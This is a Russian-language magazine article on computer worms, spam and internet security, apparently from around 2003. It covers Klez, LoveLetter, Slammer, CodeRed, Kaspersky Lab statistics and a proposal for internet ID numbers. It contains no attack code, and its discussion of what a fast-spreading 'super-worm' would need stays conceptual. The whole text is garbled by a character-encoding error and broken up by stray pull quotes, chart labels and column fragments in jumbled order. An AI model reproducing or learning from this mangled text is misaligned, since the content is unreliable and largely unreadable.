âàòåëü, êîòîðûé ïî ñâîåé ãëóïîñòè è

»
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Ïîòåðè ìèðîâîé ýêîíîìèêè îò âèðóñîâ (â ìëðä. äîëëàðàõ). 

Ïî äàííûì "Ëàáîðàòîðèè Êàñïåðñêîãî"
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Â òîì-òî è
äåëî, ÷òî
ïðîáëåìà
"ïîëüçîâà-
òåëÿ, êîòî-
ðîìó íàäî
÷òî-òî âïà-
ðèâàòü"
óæå ñîøëà
íà íåò.

íàèâíîñòè çàïóñòèò èíôèöèðîâàí-
íûé ôàéë.
Ïîìíèøü Klez? Êîíå÷íî, ïîìíèøü. ß
ïðîñòî íå ìîãó îáîéòè åãî ñòîðîíîé.
Ýòîò ÷åðâü-ëåãåíäà çàðàçèë çà ñâîþ
æèçíü ñîòíè òûñÿ÷ êîìïüþòåðîâ. ×òî
åìó áûëî íóæíî? Òîëüêî óÿçâèìîå
ïðîãðàììíîå îáåñïå÷åíèå â ëèöå
Outlook è Internet Explorer. È íå ñòîèò
äóìàòü, ÷òî âèíîâàòû âî âñåì ðåáÿòà
èç Microsoft, íàïðîòèâ, îíè çàáëàãîâ-
ðåìåííî âûïóñòèëè íåîáõîäèìûé
ïàò÷. Íåëüçÿ âî âñåì âèíèòü è ïîëü-
çîâàòåëåé - íó, çàáûëè íåêîòîðûå óñ-
òàíîâèòü hot-fix èëè ñåðâèñ-ïàê. Íè-
÷åãî íå ïîäåëàåøü. Æèçíü òàêàÿ. Íà-
ìåòàííûé ãëàç ñðàçó óãëÿäèò - ïðîá-
ëåìà â äðóãîì: ñàìà òåõíîëîãèÿ
"÷åðâü+äûðà" ïîçâîëÿåò òàêèì âîò
ìîíñòðàì áåçíàêàçàííî ðàñïðîñòðà-
íÿòüñÿ ïî âñåìó ìèðó. ×åðâü çàïóñ-
êàåòñÿ ïðè ùåë÷êå ïîëüçîâàòåëÿ íà
ñàìîì ïèñüìå â Outlook. Êàçàëîñü
áû, âñåãî íè÷åãî, à êîìïüþòåð óæå
ïîä âëàñòüþ ïðèøåëüöà.
Íî ñìåðòü èíòåðíåòà ïóòåì çàðàæå-
íèÿ âñåõ èëè ïîäàâëÿþùåãî áîëü-
øèíñòâà êîìïüþòåðîâ - ýòî íå
åäèíñòâåííîå, ÷åãî âñå áîÿòñÿ. Ïî-
ìèìî òàêèõ îáùèõ âîïðîñîâ, êàê
"èíòåðíåò óïàäåò", åñòü áîëåå íà-
ñóùíûå ïðîáëåìû áèçíåñà. Áèçíåñ
ñåé÷àñ êîíòðàëèðóþò ñòðàíû, ïðåñ-
ñó, îáðàçîâàíèå è ò.ä. Èíòåðåñû
áèçíåñà - ýòî òî, ÷òî çàáîòèò ñèëü-
íûõ ìèðà ñåãî êóäà áîëüøå ìèðî-
âûõ ïðîáëåì. Ïîâåðü, íèêòî è íå
çàìåòèë áû, êàê ðàçáîìáèëè Èðàê,
åñëè áû íå àðàáñêàÿ íåôòü. Ñâîÿ
ðóáàøêà áëèæå ê òåëó. Êàçàëîñü

áû, êàê ýòî âñå
ñâÿçàíî ñ ÷åð-
âÿìè? Êîìïà-
íèè òåðïÿò îã-
ðîìíûå óáûòêè
èç-çà ïðîñòîÿ
ÏÊ, ïîòåðè
íóæíîé èíôîð-
ìàöèè è íåîá-
õîäèìîñòè âîñ-
ñòàíîâëåíèÿ
ìíîæåñòâà ìà-
øèí. Íå ñòîèò
çàáûâàòü, ÷òî
ïîäàâëÿþùåå
áîëüøèíñòâî
îôèñíûõ ñîò-
ðóäíèêîâ íå
ñèëüíî ðàçáè-
ðàþòñÿ â âèðó-
ñàõ, ÷åðâÿõ è
ïðî÷åé çàðàçå.
Èõ ñòîèò çàùè-
ùàòü äàæå îò
îáû÷íûõ ÷åðâÿ-
êîâ ñ íàäïèñüþ
"Çàïóñòè ìåíÿ!"
À òóò åùå è ñà-
ìîçàïóñêàþ-
ùèéñÿ ãàä ïîÿ-
âèëñÿ... Åùå ðàç
íàïîìíþ î
LoveLetter, êî-

òîðûé çà ìåñÿö ñâîåé æèçíè â
2000 ãîäó íàíåñ ìèðîâîé ýêîíîìè-
êå óðîí â 8,75 ìëðä. äîëëàðîâ (ïî
äàííûì "Ëàáîðàòîðèè Êàñïåðñêî-
ãî"). Íàì, ïðàâäà, â Ðîññèè îñîáîãî

âðåäà îí íå ïðè÷èíèë. Âî-ïåðâûõ, ó
íàñ áûëî íå î÷åíü ìíîãî êîìïàíèé
ñ áîëüøèì êîëè÷åñòâîì êîìïüþòå-
ðîâ. Èõ è ñåé÷àñ íåìíîãî, íî 3 ãîäà
íàçàä áûëî åùå ìåíüøå. Âî-âòî-
ðûõ, áîëüøèíñòâî ðîññèéñêèõ êîì-
ïàíèé èñïîëüçóþò Àíòèâèðóñ Êàñ-
ïåðñêîãî, êîòîðûé èçíà÷àëüíî äà-
âàë èììóíèòåò ê LoveLetter. Èíòå-
ðåñíî, ÷òî ðåáÿòà èç "Ëàáîðàòîðèè
Êàñïåðñêîãî" ïðåäñêàçàëè ïîÿâëå-
íèå LoveLetter åùå çà ãîä èëè äâà
äî ðåàëüíûõ ñîáûòèé. Êîíå÷íî, îíè
íå çíàëè, ÷òî òåëî âèðóñà áóäåò ëþ-
áîâíûì ïèñüìîì, íî ïðåäóãàäàëè
òåõíîëîãèþ, êîòîðóþ âèðóñ èñïîëü-
çîâàë äëÿ çàðàæåíèÿ êîìïüþòåðà.
Êàê ÷àñòî áûâàåò, íèêòî èì íå ïî-
âåðèë. Íî íàøè ïàðíè ðåàëèçîâàëè
ýâðèñòè÷åñêóþ çàùèòó îò ãàäîâ òà-
êîãî òèïà â ìîäóëå ïîä íàçâàíèåì
ScriptChecker (îí âõîäèò â ñîñòàâ
ëþáîãî äèñòðèáóòèâà Àíòèâèðóñà
Êàñïåðñêîãî). Â ðåçóëüòàòå, êîãäà
LoveLetter äîáðàëñÿ äî íàñ, íè
îäèí êëèåíò "Ëàáîðàòîðèè" òàê ñ
ýòèì ÷åðâåì è íå ïîçíàêîìèëñÿ.
Ýòî õîðîøèé ýïèçîä èç èñòîðèè
áîðüáû ñ ÷åðâÿìè. Íî ïëîõèõ ýïèçî-
äîâ áîëüøå. Âî ñêîëüêî îáõîäèòñÿ
ïðîñòîé ñåðâåðîâ, íà êîòîðûõ ðàç-
ìåùàåòñÿ ñåòåâîé ìàãàçèí, èëè
ïðîñòîé êîìïüþòåðîâ â áàíêå? Ýòî

àñòðîíîìè÷åñêèå ñóììû. È íèêîìó
íå õî÷åòñÿ èõ òåðÿòü òîëüêî ïîòîìó,
÷òî êàêîé-òî øàëóí íàïèñàë ìàëåíü-
êóþ ïðîãðàììêó, êîòîðàÿ ñòàâèò íà
êîëåíè öåëûå ñåòè.
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Èíòåðåñíî, ÷òî ðåáÿòà èç 
"Ëàáîðàòîðèè Êàñïåðñêîãî" ïðåäñêàçàëè

ïîÿâëåíèå LoveLetter åùå çà ãîä èëè 
äâà äî ðåàëüíûõ ñîáûòèé. 

Êàêîé ÷åëî-
âåê óäåð-
æèòñÿ îò
ñîáëàçíà
ïðî÷åñòü
ëþáîâíîå
ïèñüìî îò
ñâîåãî êîë-
ëåãè? Ýòî
ïñèõîëîãèÿ.
Ïñèõîëîãèÿ
ïðîøëîãî.
Ñåãîäíÿ îíà
íèêîìó íå
íóæíà.
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Âèðóñû â e-mail. Ïî äàííûì MessageLabs

Ñåòåâîé ÷åðâü Melting

Èñïîëíÿåìûé âèðóñ Hanta



Ïðîáëåìà
èíòåðíåòà
íå òîëüêî â
÷åðâÿõ.
×åðâè -
ëèøü âåð-
øèíà àéñ-
áåðãà. Ïîä
âîäîé æå
ñêðûâàåòñÿ
îãðîìíàÿ
÷àñòü ïîä
íàçâàíèåì
ñïàì. Ñëå-
äóåò îòìå-
òèòü, ÷òî çà
ïîñëåäíèé
ìåñÿö âñå-
ìèðíî èçâå-
ñòíàÿ àíà-
ëèòè÷åñêàÿ
êîìïàíèÿ
MessageLab
s çàôèêñè-
ðîâàëà îáú-
åì ñïàìà,
áîëüøèé,
÷åì çà âåñü
2002 ãîä.
Íåïëîõèå
òåìïû, äà?

Ìû ðàçîáðàëèñü â ìîòèâàõ, çàñòàâëÿ-
þùèõ ëþäåé áîÿòüñÿ "êîíöà âèðòó-
àëüíîãî ñâåòà". Ïîñìîòðèì, íàñêîëü-
êî ðåàëüíî ñîçäàíèå ÷åðâÿ, êîòîðîìó
ýòî ïîä ñèëó. Ïðåæäå âñåãî, ÷åðâü
äîëæåí óìåòü áûñòðî ðàçìíîæàòüñÿ.
Íî ðå÷ü ïîéäåò íå î áàíàëüíîì ïîèñ-
êå àäðåñîâ â àäðåñíîé êíèãå ïîëüçî-
âàòåëÿ. Íåò, ðàçãîâîð áóäåò î ñïàìå.
Ñ íåäàâíåãî âðåìåíè âèðóñîïèñàòåëè
ñòàëè èñïîëüçîâàòü ñïàì-òåõíîëîãèè,
÷òîáû ïîâûñèòü ñêîðîñòü ðàñïðîñò-
ðàíåíèÿ âèðóñîâ â ñîòíè è äàæå òû-
ñÿ÷è ðàç. Âåäü îãðîìíàÿ áàçà e-mail
àäðåñîâ - ýòî òî, ÷åãî òàê äîëãî íå
õâàòàëî ÷åðâÿì! Ïî÷òîâûé àäðåñ -
ýòî òà ìàëåíüêàÿ äûðî÷êà â áîëüøîì
ÿáëîêå, ÷åðåç êîòîðóþ ìîæíî âëåçòü
âíóòðü. Ðåçóëüòàòîì òàêîãî ïîäõîäà
ÿâëÿåòñÿ ÷ðåçâû÷àéíî áûñòðûé ñòàðò
ýïèäåìèè, êîãäà ìèëëèîíû ïîëüçîâà-
òåëåé ïî âñåìó ìèðó ïîëó÷àþò èíôè-
öèðîâàííûå ïèñüìà.
Äàëåå, ÷åðâü äîëæåí óìåòü çàðàæàòü
êîìïüþòåð ïîëüçîâàòåëÿ áåç âìåøà-
òåëüñòâà ÷åëîâåêà. Äëÿ ýòîãî è ñëó-
æàò äûðû â ÏÎ. Óæå ñåãîäíÿ ñóùåñò-
âóåò ìíîãî äûð â ñàìûõ ðàçíûõ ïðîã-
ðàììàõ. Ìíîãèå èç ýòèõ äûð óæå äàâ-
íî ïðîïàò÷åíû è çàáûòû. Íî âåäü
åñòü áðåøè, êîòîðûå åùå íèêòî íå
íàøåë! À íàéòè èõ âïîëíå ðåàëüíî,
äîñòàòî÷íî ïîñìîòðåòü åæåäíåâíûå
ñâîäêè: ÷òî-íèáóäü äà íàéäóò. Èòàê, è
ýòî íå ïðîáëåìà äëÿ ÷åðâÿ. À áîëüøå
åìó íè÷åãî è íå íàäî.
Ìîæíî âêðàòöå ðåçþìèðîâàòü: ñîçäà-
íèå ÷åðâÿ, ýêñïëóàòèðóþùåãî íîâóþ
áðåøü â ñèñòåìå áåçîïàñíîñòè è
ðàñïðîñòðàíÿþùåãîñÿ î÷åíü áûñòðî,
âïîëíå ðåàëüíî. Çäåñü ìû ðàññìîòðå-
ëè ëèøü ñòàíäàðòíóþ ñîñòàâëÿþùóþ
ñóùíîñòè ÷åðâÿ, à âåäü ìîæíî äîáà-
âèòü è îáû÷íûå âèðóñíûå ñâîéñòâà.
Çà ïîñëåäíèå òðè ãîäà ìû óâèäåëè òà-
êèå òåõíîëîãèè, î êîòîðûõ ðàíüøå íå
ìîãëè è ïîìûñëèòü. Ñåãîäíÿ åñòü âè-
ðóñû, íåîáû÷àéíî ìàëåíüêèå, ìî-
äóëüíûå (ñêà÷èâàþùèå ñâîè àïäåéòû
èç èíòåðíåòà), øèôðóþùèå ñåáÿ
ìîùíûìè êðèïòîãðàôè÷åñêèìè ñðåä-
ñòâàìè, ÷ðåçâû÷àéíî äåñòðóêòèâíûå
(ïîðòÿùèå âñå òîò æå CMOS) è ò.ï. Áî-

ëåå òîãî, âñå ýòè ôóíêöèè óæå òàê
èëè èíà÷å ðåàëèçîâàíû â ðàçíûõ
÷åðâÿõ. Òàê ÷òî ìåøàåò ñîåäèíèòü èõ
â îäíîì?
Èòàê, òåîðåòè÷åñêè ïîÿâëåíèå ñóïåð-
÷åðâÿ âïîëíå âîçìîæíî. Ïî÷åìó æå
îí äî ñèõ ïîð íå ñîçäàí? Ðàçðàáî-
òàòü âñå ìîäóëè òàêîãî ãàäà îäíîìó
÷åëîâåêó ñëîæíî. Åìó íóæíî áûòü è
î÷åíü õîðîøèì ïðîãðàììèñòîì, è
óìåòü îòûñêèâàòü ñâåæèå áàãè â ïî-
ïóëÿðíîì ñîôòå, íóæíî çíàòü àññå-
ìáëåð è èìåòü áîãàòûé îïûò ðàáîòû ñ
äèçàññåìáëåðîì. Òàê ÷òî æå, òàêèõ
ëþäåé íåò? Äåëî, âèäèìî, â òîì, ÷òî
ëþäÿì, ñïîñîáíûì ñîçäàòü òàêîãî
÷åðâÿ (à òàêèå ëþäè, ðàçóìååòñÿ,
åñòü), ê ñ÷àñòüþ, õâàòàåò óìà çàíè-
ìàòüñÿ áîëåå êîíñòðóêòèâíûìè âåùà-
ìè. Ïî áîëüøåé ÷àñòè ðàñïðîñòðàíå-
íèåì âèðóñîâ çàíèìàþòñÿ çàêîìïëåê-
ñîâàííûå ïîäðîñòêè, ìå÷òàþùèå äî-
êàçàòü âñåìó ìèðó ñâîþ êðóòîñòü. Íî,
ïîìèìî íåìåðåíûõ àìáèöèé, íóæíû
âåäü åùå è çíàíèÿ� 

×ÅÐÂßÊ 
ÍÅÎÁÛÊÍÎÂÅÍÍÛÉ

Òåïåðü ìû ïîãîâîðèì î ïðîäâèíó-
òûõ ÷åðâÿõ. ×åðâÿõ, ó êîòîðûõ íåò òå-
ëà. Ïðàâäà, ýòî êóäà áîëåå èíòåðåñ-
íî? Ýòè ïàðàçèòû ñóùåñòâóþò â âèäå
ïàêåòîâ, ïåðåäàâàåìûõ ïî Ñåòè. Ïðè
ïîïàäàíèè íà êîìïüþòåð òàêîé ãàä
íàõîäèòñÿ ëèøü â åãî îïåðàòèâíîé
ïàìÿòè! Íà ìîé âçãëÿä, ýòî âåíåö ýâî-

ëþöèè ñåòåâûõ
÷åðâåé.
Òàê ïî÷åìó òà-
êèå ÷åðâè ñòîëü
îïàñíû? À ïî-
òîìó, ÷òî àíòè-
âèðóñ ïðîòèâ
íèõ áåññèëåí.
Äåëî â òîì, ÷òî
ëþáîé àíòèâè-
ðóñ ìîæåò ïðî-
âåðÿòü ëèøü
ôàéëû. Åñëè
âðåäîíîñíûé
êîä íå çàðàæà-
åò ôàéëû, òî
ñêàíåð, ìîíè-
òîð, ðåâèçîð èç-
ìåíåíèé è ïî-
âåäåí÷åñêèé
áëîêèðàòîð îò-
äûõàþò. Ýòî âñå
ðàâíî, ÷òî â
Íåî èç ïèñòîëå-
òà ïàëèòü.
Íó õîðîøî, åñ-
ëè àíòèâèðóñ íå
áåðåò, òî äîë-

æåí áðàòü ïàêåòíûé ôèëüòð. Âåäü
áåñòåëåñíûé êîä ïðåäñòàâëÿåò ñîáîé
íàáîð ïàêåòîâ, çíà÷èò, è ôèëüòðî-
âàòüñÿ äîëæåí áðàíäìàóýðîì èëè ñå-

òåâûì ýêðàíîì. Ìû ïðèøëè ê õîðîøî
èçâåñòíîé "áîðüáå ñíàðÿäà è áðîíè".
Ïîñëå ïîÿâëåíèÿ ïåðâîãî áåñòåëåñ-
íîãî ÷åðâÿ - CodeRed - ðàçðàáîò÷èêè,
äà è âñå îñòàëüíûå, ïðåäïî÷ëè ïðîñ-
òî çàäåëàòü äûðó â óÿçâèìîì ÏÎ. À
âîò ïîñëå íåäàâíåãî çèìíåãî íàøåñò-
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Ñêðèïò äëÿ Corel Draw ïîä íàçâàíèåì Gala

Õîðîøèé ïðèìåð îáúåäèíåíèÿ

àíòèâèðóñà (Êàñïåðñêîãî) è

áðàíäìàóýðà (Check Point Firewall)

Èòàê, òåîðåòè÷åñêè ïîÿâëåíèå 
ñóïåð÷åðâÿ âïîëíå âîçìîæíî. 

Ïî÷åìó æå îí äî ñèõ ïîð íå ñîçäàí? 

Îñíîâíûå èñòî÷íèêè âèðóñíîé óãðîçû â 2002 ãîäó. Ïî äàííûì

"Ëàáîðàòîðèè Êàñïåðñêîãî"

Èíòåðíåò
2,30%

Ìîáèëüíûå íàêîïèòåëè
1,3%

Ýëåêòðîííàÿ ïî÷òà 96,40%



âèÿ Slammer ñïåöèàëèñòû çàäóìà-
ëèñü íå íà øóòêó. Ñåãîäíÿ â áîëüøè-
íñòâî êîðïîðàòèâíûõ áðàíäìàóýðîâ
âñòðîåíû ñïåöèàëüíûå ñðåäñòâà, êî-
òîðûå ôèëüòðóþò òðàôèê íà óðîâíå
ïàêåòîâ è ñëåäÿò çà "âðåäîíîñ-
íîñòüþ" êîäà. Êàê ïðîèñõîäèò àíàëèç
- òåìà îòäåëüíîãî ðàçãîâîðà, áîëåå

áëèçêàÿ ê ïðîá-
ëåìàì áðàíäìà-
óýðîâ, à íå àí-
òèâèðóñîâ. Ìîãó
ëèøü ñêàçàòü,
÷òî ó íîâîãî
áåñòåëåñíîãî
÷åðâÿ øàíñû
ïðîñêî÷èòü òà-
êîé ôèëüòð íå-
çàìå÷åííûì
î÷åíü âûñîêè.
×òî ìåíÿ òàê
ïðèâëåêëî â
ýòèõ áåñòåëåñ-
íûõ ÷åðâÿõ?
Âî-ïåðâûõ, èõ
íåîáû÷àéíàÿ
ñêîðîñòü ðàñï-
ðîñòðàíåíèÿ.
Òû, íàâåðíîå, è
ñàì ïîíèìà-
åøü, ÷òî ïåðå-
äàòü íåáîëü-
øîé îáúåì ïà-
êåòîâ ïðîùå,
÷åì 130 êèëî-
áàéò (ïðèìåð-
íûé ðàçìåð
Klez). Ê òîìó
æå, êàê òîëüêî
÷åðâü òèïà
Slammer ïîïà-
äåò íà êîìïüþ-
òåð-æåðòâó, îí
ñðàçó íà÷íåò
ãåíåðèðîâàòü
íåïðåðûâíûé
ïîòîê òðàôèêà,
íàïðàâëåííûé
èìåííî íà çà-
ðàæåíèå äðó-
ãèõ ÏÊ. Òî åñòü
òàêîìó ÷åðâþ
âîâñå íå íóæ-
íî, ÷òîáû åãî
êòî-òî çàïóñêàë
è îòêðûâàë - îí
ðàñïðîñòðàíÿ-
åòñÿ áåç ïîìî-
ùè ëþäåé è äå-
ëàåò ýòî íàìíî-
ãî áûñòðåå ëþ-
áîãî äðóãîãî
÷åðâÿ, äàæå åñ-

ëè òîò èñïîëüçóåò ñïàì-òåõíîëîãèè.
Èäåì äàëüøå. Ïîñëåäíèé áåñòåëåñ-
íûé ÷åðâü ïîêàçàë ïîòðÿñàþùèå ðå-
çóëüòàòû - îí çàðàçèë ïðèìåðíî ÷åò-
âåðòü èíòåðíåòà âñåãî çà ïàðó äíåé.
Ýòî çíà÷èò, ÷òî êàæäûé ÷åòâåðòûé
ñàéò áûë íåäîñòóïåí. Èíòåðåñíà ñà-
ìà ñóùíîñòü Slammer: îí ïîðàæàë

ëèøü ñåðâåðà, èñïîëüçóþùèå MS
SQL Server. Òî åñòü äîìàøíèì ïîëü-
çîâàòåëÿì îí íèêàêîãî âðåäà ïðè÷è-
íèòü áû íå ñìîã. Íî íàïðàâëåííîñòü
íà ñåðâåðíûé ñåãìåíò Ñåòè ñâèäå-
òåëüñòâóåò î òîì, ÷òî àâòîð ñòàâèë
ïåðåä ñîáîé çàäà÷è, âïîëíå äîñòîé-
íûå çëîãî ãåíèÿ (èëè ïðîñòî íå íà-
øåë äðóãóþ äûðó â ÏÎ, êîòîðóþ
ìîæíî ýêñïëóàòèðîâàòü äëÿ ðàñïðî-
ñòðàíåíèÿ ÷åðâÿ - ïðèì. ðåä.). Îí
ìå÷òàë ïîëîæèòü èíòåðíåò íà ëîïàò-
êè. Ýòî ó íåãî ïî÷òè ïîëó÷èëîñü. Íà
îäíó ÷åòâåðòü. Slammer ïîêàçàë
âñåìó ìèðó, êàê äîëæåí ñåáÿ âåñòè
íàñòîÿùèé ÷åðâÿê.
Òåïåðü ïîñòàâèì ñëåäóþùèé âîï-
ðîñ. Ìîæåò ëè áåñòåëåñíûé ÷åðâü
ïîñòàâèòü íà êîëåíè âñþ Ñåòü? Ìî-
æåò, íî ëèøü òåîðåòè÷åñêè. Ïðàâäà,
åñëè ìîùíûé áåñòåëåñíûé ÷åðâü
âñå-òàêè áóäåò ñîçäàí, óãðîçà "îáã-
ëîäàííîãî èíòåðíåòà" ñòàíåò áîëåå
÷åì ðåàëüíîé.
Ïîòåíöèàë áåñòåëåñíîãî ÷åðâÿ íàì-
íîãî âûøå, ÷åì îáû÷íîãî ôàéëîâîãî.
Íî ñîçäàòü ÷åðâÿ-ïðèçðàêà åùå
ñëîæíåå, ÷åì ìîùíîãî ýêçåìïëÿðà,
òèïà Klez. Òàê ÷òî ÷åðâè - íå óãðîçà
áóäóùåìó.

ßÙÈÊ ÏÀÍÄÎÐÛ
Ïðîáëåìà èíòåðíåòà íå òîëüêî â

÷åðâÿõ. ×åðâè - ëèøü âåðøèíà àéñ-
áåðãà. Ïîä âîäîé æå ñêðûâàåòñÿ îã-
ðîìíàÿ ÷àñòü ïîä íàçâàíèåì ñïàì.
Ñëåäóåò îòìåòèòü, ÷òî çà ïîñëåäíèé
ìåñÿö âñåìèðíî èçâåñòíàÿ àíàëèòè-
÷åñêàÿ êîìïàíèÿ MessageLabs çà-
ôèêñèðîâàëà îáúåì ñïàìà, áîëü-
øèé, ÷åì çà âåñü 2002 ãîä. Íåïëî-
õèå òåìïû, äà?
Êëþ÷åé ê èíòåðíåòó äâà: ñåðâåðû è
òðàôèê. Óíè÷òîæèòü èíòåðíåò ìîæíî
äâóìÿ ñïîñîáàìè: ïîâðåäèòü/çàðà-
çèòü ñåðâåðû èëè ñîçäàòü ïîâñåìåñò-
íûé èçáûòî÷íûé òðàôèê. Ïåðâîå äî-
âîëüíî ïðîáëåìàòè÷íî, à âòîðîå
âïîëíå ðåàëüíî. Slammer, áëàãîäàðÿ
ãåíåðèðóåìîìó òðàôèêó, âûâåë èç
ñòðîÿ ÷åòâåðòü Ãëîáàëüíîé Ñåòè. À
ñïàì è ôàéëîâûå ÷åðâè ñîçäàþò äî-
ïîëíèòåëüíûé èçáûòî÷íûé òðàôèê
ïëþñ ôèíàíñîâûå ïîòåðè äëÿ áèçíå-
ñà è äîìàøíèõ ïîëüçîâàòåëåé. Âîò
ãäå êîðåíü çëà.
Íî ìîæíî âçãëÿíóòü íà ïðîáëåìó
øèðå. ×åì êðóïíåå ñèñòåìà, òåì
ñëîæíåå åå ïðîáëåìû. Âîò òðè ñëà-
áûõ ìåñòà èíòåðíåòà: áåçíàêàçàí-
íîñòü, ïîëíîå îòñóòñòâèå êîíòðîëÿ è
îòñóòñòâèå ìåæäóíàðîäíûõ çàêîíîâ
è ìåæäóíàðîäíûõ îðãàíîâ íàäçîðà.
Åñëè îáîáùèòü, òî ïîëó÷èòñÿ òàêàÿ
êàðòèíà: ëþáîé ÷åëîâåê ìîæåò äå-
ëàòü â Ñåòè âñå, ÷òî çàõî÷åò (çàêîí-
íîå è íåçàêîííîå), è åãî áóäåò î÷åíü
ñëîæíî îòûñêàòü, à äàæå åñëè ýòî
óäàñòñÿ, òî íàêàçàòü åãî áóäåò íåëåã-
êî (íå âåçäå åñòü ïîäõîäÿùàÿ ïðàâî-
âàÿ è èñïîëíèòåëüíàÿ áàçû).
×òî æå äåëàòü? Ìíîãèå àíòèâèðóñ-
íûå ýêñïåðòû âî ãëàâå ñ Åâãåíèåì
Êàñïåðñêèì ïðåäëàãàþò ââåñòè ñèñòå-
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Òàê ïî÷åìó
òàêèå ÷åðâè
ñòîëü îïàñ-
íû? À ïîòî-
ìó, ÷òî àí-
òèâèðóñ
ïðîòèâ íèõ
áåññèëåí.
Äåëî â òîì,
÷òî ëþáîé
àíòèâèðóñ
ìîæåò ïðî-
âåðÿòü
ëèøü ôàé-
ëû. Åñëè
âðåäîíîñ-
íûé êîä íå
çàðàæàåò
ôàéëû, òî
ñêàíåð, ìî-
íèòîð, ðå-
âèçîð èçìå-
íåíèé è ïî-
âåäåí÷åñêèé
áëîêèðàòîð
îòäûõàþò.
Ýòî âñå
ðàâíî, ÷òî â
Íåî èç ïèñ-
òîëåòà ïà-
ëèòü.
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Ñàìûå ðàñïðîñòðàíåííûå â 2002 ãîäó òèïû êîìïüþòåðíûõ

âèðóñîâ (÷åðâè è òðîÿíöû ñþäà íå îòíîñÿòñÿ). Ïî äàííûì

"Ëàáîðàòîðèè Êàñïåðñêîãî"

Ñàìûå ðàñïðîñòðàíåííûå â 2002 ãîäó òèïû ñåòåâûõ ÷åðâåé. Ïî

äàííûì "Ëàáîðàòîðèè Êàñïåðñêîãî"

Ñàìûå ðàñïðîñòðàíåííûå â 2002 ãîäó òèïû òðîÿíñêèõ ïðîãðàìì.

Ïî äàííûì "Ëàáîðàòîðèè Êàñïåðñêîãî"

Òåïåðü ïîñòàâèì ñëåäóþùèé âîïðîñ. 
Ìîæåò ëè áåñòåëåñíûé ÷åðâü ïîñòàâèòü

íà êîëåíè âñþ Ñåòü? 
Ìîæåò, íî ëèøü òåîðåòè÷åñêè. 

Ñêðèïò-âèðóñû
2,75

Äðóãè å
0,3%

Ìàêðî-âèðóñû 
56,1%

Windows-âèðóñû 
40,9%

Äðóãèå
28,1%

PSW-ïðîãðàììû
17,9%

back door-
ïðîãðàììû

54%

Ð2Ð-÷åðâè
1,7%

IRC-÷åðâè 
0,2%

LAN-÷åðâè
2,5%

Ïî÷òîâûå ÷åðâè
95,6%



ìó óíèêàëüíûõ èäåíòèôèêàöèîííûõ
íîìåðîâ è ñîçäàòü ïðàâîâóþ è èñ-
ïîëíèòåëüíóþ áàçû. Âòîðàÿ ÷àñòü
ýòîãî ïðåäëîæåíèÿ íàñ íå êàñàåòñÿ -
ìû íå þðèñòû. À âîò óíèêàëüíûå ID -

ýòî òåìà äëÿ
ðàçãîâîðà.
Ïî ìíåíèþ Åâãå-
íèÿ Êàñïåðñêîãî,
êîðåíü çëà - öà-
ðÿùàÿ àíàðõèÿ è
áåçíàêàçàí-
íîñòü. Â èíòåðíå-
òå íåò íèêàêèõ
çàêîíîâ. Åñëè áû
òî æå ñàìîå áû-
ëî â ðåàëå, òî
ëþáîé äàóí ìîã
áû ðàçáèòü âèò-
ðèíó èëè ïîìÿòü
êðûëî ìàøèíû
ñîñåäà. È íèêòî
áû åãî çà ýòî íå
íàêàçàë. Â èí-
òåðíåòå ñåé÷àñ
èìåííî òàêàÿ ñè-
òóàöèÿ - ïîëüçî-
âàòåëü íå íåñåò
íèêàêîé îòâåò-
ñòâåííîñòè çà
ñâîå õóëèãàí-
ñòâî (âèðóñîïè-
ñàòåëüñòâî, ðàñ-
ñûëêó ñïàìà).
Ñåãîäíÿ êîëè÷å-
ñòâî âðåäîíîñ-
íîé èíôîðìàöèè
ñòðåìèòåëüíî
ïðèáëèæàåòñÿ ê
êîëè÷åñòâó ïî-
ëåçíîé. Åñëè ýòà
òåíäåíöèÿ ñîõ-
ðàíèòñÿ, òî îä-
íàæäû â èíòåð-
íåòå ïðîñòî íå-
÷åãî áóäåò äå-
ëàòü - îòêðûâà-
åøü ïî÷òîâûé
ÿùèê, à òàì íà 1
ïîëåçíîå ïèñü-
ìî 99 âèðóñîâ è
ñïàìà. Èìåííî
äëÿ ïðåäîòâðà-
ùåíèÿ ýòîãî
ïðåäëàãàåòñÿ
ââåñòè ïðàâèëà,
ðåãëàìåíòèðóþ-
ùèå ðàáîòó ñ
Ñåòüþ. Ïðåæäå
âñåãî, ïåðñî-
íàëüíûé èäåíòè-
ôèêàöèîííûé
êîä. Åãî ñóòü

ïðèìåðíî ñëåäóþùàÿ: çàõîäèøü â
Ñåòü, áóäü äîáð ïðåäúÿâèòü "ïðàâà" è
ñîáëþäàòü "ïðàâèëà äâèæåíèÿ". Òàê
ìîæíî áåç òðóäà âû÷èñëèòü, êòî è êîã-
äà çàïóñòèë î÷åðåäíîé âèðóñ èëè ðà-

çîñëàë òîííû ñïàìà. Åñòåñòâåííî,
ïîëíîñòüþ èñêîðåíèòü êèáåðïðåñòóï-
íîñòü íå óäàñòñÿ íèêîãäà, íî ýòîò øàã
äàñò âîçìîæíîñòü çíà÷èòåëüíî åå
ñîêðàòèòü.
Òåïåðü ëþáîïûòíî îáñóäèòü ïðîá-
ëåìó ïðèâàòíîñòè: âåäü íå âñå ìû
ïðåñòóïíèêè. Â èäåàëå, èäåíòèôè-
êàöèîííûé êîä - ýòî óíèâåðñàëü-
íûé ñåòåâîé ïàñïîðò, êîòîðûé ïðè-
íèìàåòñÿ ïî âñåìó ìèðó, âñåìè
ïðîâàéäåðàìè (êàê, íàïðèìåð, êðå-
äèòíàÿ êàðòî÷êà Master Card èëè
Visa). Ïðè ðàáîòå ñ èíòåðíåòîì
ïîëüçîâàòåëü ïðåäúÿâëÿåò åãî, è
ñ ýòîãî ìîìåíòà ïðîâàéäåð íà÷è-
íàåò âåñòè îò÷åò î äåéñòâèÿõ. Âîò
òóò-òî è çàãâîçäêà - ìîæíî ñìåëî
ïðèâåñòè êîíòðäîâîä - ïîïûòêà
íàðóøèòü ñâÿùåííóþ privacy ïðè
ðàáîòå ñ Ñåòüþ. Åñëè ñíîâà îáðà-
òèòüñÿ ê ðåàëüíîé æèçíè, òî íà
àâòîäîðîãàõ åñòü ïðàâèëà äâèæå-
íèÿ, ïðàâà, òåõíè÷åñêèå ïàñïîðòà,
ïðîâåðêè, à ïðè ïåðåñå÷åíèè ãðà-
íèöû åñòü òàìîæåííûé è ïàñïîðò-
íûé êîíòðîëü. Ìîæíî ïðèâåñòè
åùå êó÷ó àíàëîãè÷íûõ ïðèìåðîâ.
Ëþäè ñîãëàñèëèñü íà êîìïðîìèññ
ìåæäó áàðäàêîì, àíàðõèåé è óïî-
ðÿäî÷åííîñòüþ, ïðîöåññóàëü-
